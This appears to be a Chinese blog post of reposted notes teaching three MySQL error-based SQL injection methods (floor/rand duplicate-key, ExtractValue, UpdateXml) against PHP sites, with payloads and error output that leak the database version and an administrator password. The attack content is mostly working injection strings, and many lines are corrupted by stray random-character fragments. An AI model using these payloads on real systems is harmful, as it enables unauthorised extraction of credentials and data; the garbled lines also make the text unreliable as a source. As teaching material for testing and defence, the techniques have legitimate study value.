关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
3 K+ A/ Y. K& T4 j# S2 |+ v% I实际测试环境：
​

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
6 D: a& P+ }' B0 H| admin          |
| article        |
+----------------+
* n9 t+ n& \: K
% r1 p) W0 v9 q: W8 _6 _& ~

2 U' k. s' }) s% Z/ z- Emysql> describe admin;
$ l' R$ V) H/ c  c! O+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
! P7 Y, n( [/ r9 X7 k| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
0 q7 J. Y4 g0 J9 b/ ]| pass  | varchar(50)      | NO   |     | NULL    |                |
6 L$ p5 h0 s/ H+-------+------------------+------+-----+---------+----------------+
# V. O$ E9 U- K9 }

& s+ D/ U1 q* x) y/ X5 _) B) ~1 X9 n
# l2 Y# Y8 v4 i7 V, [6 c; L& Amysql> describe article;
+---------+------------------+------+-----+---------+----------------+
2 g5 t$ v" B! |3 B| Field   | Type             | Null | Key | Default | Extra          |
- `, i9 \( v# \# K. z9 w/ A0 }6 m( `+---------+------------------+------+-----+---------+----------------+
! W1 y. q7 Y! L0 _/ g| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
# [$ {1 i$ h5 I( ?| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
# e" \& g8 y2 ]$ g1、通过floor报错
可以通过如下一些利用代码

3 e! }+ H& f/ ~! p, {
( |% a+ x: Z3 d4 [/ Y# Rand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
' |3 f# m* y% P; C+ U" a4 U

and (select count(*) from (select 1 union select null union select !1)x
1 p& t, Z3 d  v  e' _7 y7 @3 {group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
8 ~) B( ^. ?5 t! {! d1 {| id | title | content |
1 d, W8 R! ^& b* \( f" w# s7 P+----+-------+---------+
|  1 | test  | do it   |
$ u. @' r$ i& [* B2 M8 G+----+-------+---------+
1 y' u* V& v2 `3 X; o. C假如id输入存在注入的话，可以通过如下语句进行报错。
2 X: @; M( @- B+ b# k/ x# u( {

mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
& D& T( }, c4 d; Q" x1 ^ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
$ V, L( g# O. X; v可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
7 K( ~( `- j9 a. E例如我们需要查询管理员用户名和密码：
  q5 N3 w3 P  wMethod1:


mysql> select * from article where id = 1 and (select 1 from
* J# O, q2 S! O. I(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
" Z! r: D9 I" l3 E  u  ?Method2:


mysql> select * from article where id = 1 and (select count(*)
* k+ G* n% J  C' b  w0 b/ `+ @from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
( V6 t% H/ W' l5 jfloor(rand(0)*2)));
5 J, s1 G( o: Z+ c% A) n* _9 ]& hERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下


and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
4 g' A0 Q4 V* z: U, I, h

8 H: k  ?  e( s# [mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
4 I* x3 g7 y9 o, K! A) S(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
5 f# t$ ]8 y7 c  `& Y: X: V: L# y' w3、UpdateXml
测试语句

9 w+ k( n6 ?3 O/ T7 v6 f* a5 C
, e; k: G6 P: b* _" C) fand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
. o+ N1 d  f, }- t实际测试过程
: v% x: Q5 P' o, [% m3 V

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
3 F5 A* t, x, O5 g& H(select pass from admin limit 1),0x5e24),1));
0 l  O7 p1 H) p7 c1 XERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
4 G2 C8 ?$ K# P, L, y$ s
​